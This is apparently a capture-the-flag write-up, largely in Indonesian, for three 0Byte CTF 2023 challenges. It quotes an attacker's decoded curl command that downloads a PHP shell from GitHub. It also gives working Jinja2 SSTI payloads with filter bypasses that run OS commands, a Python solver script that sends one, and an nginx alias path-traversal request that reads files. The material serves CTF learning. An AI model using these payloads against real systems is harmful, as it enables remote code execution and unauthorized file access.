0Byte CTF 2023

Writeup for this local CTF competition organized by ZeroByte.ID Event Organizer in 2023 is conducted as a solo for all the participant.

https://0bytectf2023-34a6e5d64ade17ef4e51612c50dd72f5.zerobyte.id/


Challs

CategoryChallenge
Digital ForensicsWho the Hack?
Web ExploitationGuestbook (Beta)
Web ExploitationJust Explore

Who the Hack?

Deskripsi

———- Email ———-

Subject: URGENT! Anomali Sistem From: farel@halubank.local To: itsec+dfir@halubank.local <2023-08-12 19:46:26>

Dear Tim IT Security,

Tim monitoring mendapati bahwa sistem aplikasi mengalami down saat jam makan siang tadi, namun hanya beberapa menit saja. Berikut ini saya lampirkan access.log dari server terkait, mohon untuk diperiksa segera, apakah ada anomali yang terjadi atau tidak.

Terima kasih.

Attachments

Author: novran



Diberikan sebuah file zip berisi log Who the Hack? dan setelah di telaah lagi ada chall yang menunjukan penyelesaian untuk challenge ini sebenarnya ada pada file challenge satunya yaitu: Romeo and Dulliete langsung saja di analyze file satunya.

Di kedua file Dulliet.txt & Romeo.txt tersebut, kami menemukan banyak log access github



Kami coba decode urlnya dan didapat command bash,



bash
curl -s "https://raw.githubusercontent.com/graycatninja/own/main/shl.php" > xhl


Hmm.. kemudian kami coba cek dengan username graycatninja dengan akses ke repo https://github.com/graycatninja/own



Terdapat 4 commits pada repo



Pada commit ke-2, Create flag 5f760e1 ada flagnya

Flag

0byteCTF{W3_Suff3r_M0r3_0ft3n_1n_1m4g1n4t10n_Th4n_1n_R34l1ty}

*note

Mungkin harusnya flag ini disubmit pada chall Romeo & Dulliet karena ini filenya, tetapi karna entah kenapa dicoba submit tidak bisa, lalu kami coba di Who the Hack? dan ahkhirnya bisa.


Guestbook (Beta)

Deskripsi

You know what you do!

http://0x7e7ctf.zerobyte.me:40009/

Author: novran



Diberikan sebuah challenge web yang diminta untuk menginputkan Nama, yang jika disubmit akan tampil Namanya



Kemudian kami coba cari Tech Stack pada webnya ternyata menggunakan Flask, mengingat Flask ini dapat bisa juga vulnerable dengan SSTI apabila kesalahan dalam scriptingnya.



Lalu kami coba lakukan exploitasi pada inputnya, setelah saya menginputkan basic payload umum pada SSTI {{7*7}} dan ternyata benar bahwa kita bisa melakukan SSTI disini.



Berikut adalah link repo segala payload yang kami gunakan untuk melakukan bypass filters SSTI jinja2





id
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}



ls /
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls /')|attr('read')()}}

Dapat dibuktikan bahwa payload tersebut telah berhasil dieksekusi, oleh karena itu tinggal cari flag dan baca isi file saja.



cat /app/main.py
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /app/main.py')|attr('read')()}}

Penyelesaian dengan Solver

solver.py
 1import requests
 2import re
 3
 4url = "http://0x7e7ctf.zerobyte.me:40009"
 5endpoint = "/?name="
 6payload = "{{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27os%27)|attr(%27popen%27)(%27cat%20/app/main.py%27)|attr(%27read%27)()}}"
 7
 8response = requests.get(url + endpoint + payload)
 9
10flag = re.findall(r'0byteCTF\{[A-Za-z0-9_]+\}', response.text)
11print(flag)
Flag

0byteCTF{Th3_M4n_wh0_Th1nks_h3_C4n_4nd_th3_M4n_wh0_Th1nks_h3_C4nt_4r3_B0th_R1ght}


Just Explore

Deskripsi

Just explore and find a vulnerability innit :)

http://0x7e7ctf.zerobyte.me:49723/

Author: novran




Diberikan sebuah challenge web yang disuruh menuju ke halaman (endpoint) explorer








Saya menemukan pada Tech Stack terdapat nginx. Kemudian saya mencoba mengutak-atik pada url-nya, dan ditemukan bahwa web ini vulnerable dengan Directory Traversal / Path Traversal setelah saya coba akses

http://0x7e7ctf.zerobyte.me:49723/explore../




Ini terjadi ketika kesalahan konfigurasi pada nginx (alias) apabila mengakses directory yang di sisipkan ../ pada directory /exprore../

Reference


Tinggal kita cari flagnya saja, ada di http://0x7e7ctf.zerobyte.me:49723/explore../usr/share/



bash
curl http://0x7e7ctf.zerobyte.me:49723/explore../usr/share/flag.txt



Flag

0byteCTF{P4th_Tr4v3rS4L_ThRu_Ng1nX_M1sC0nf1g_4l14s}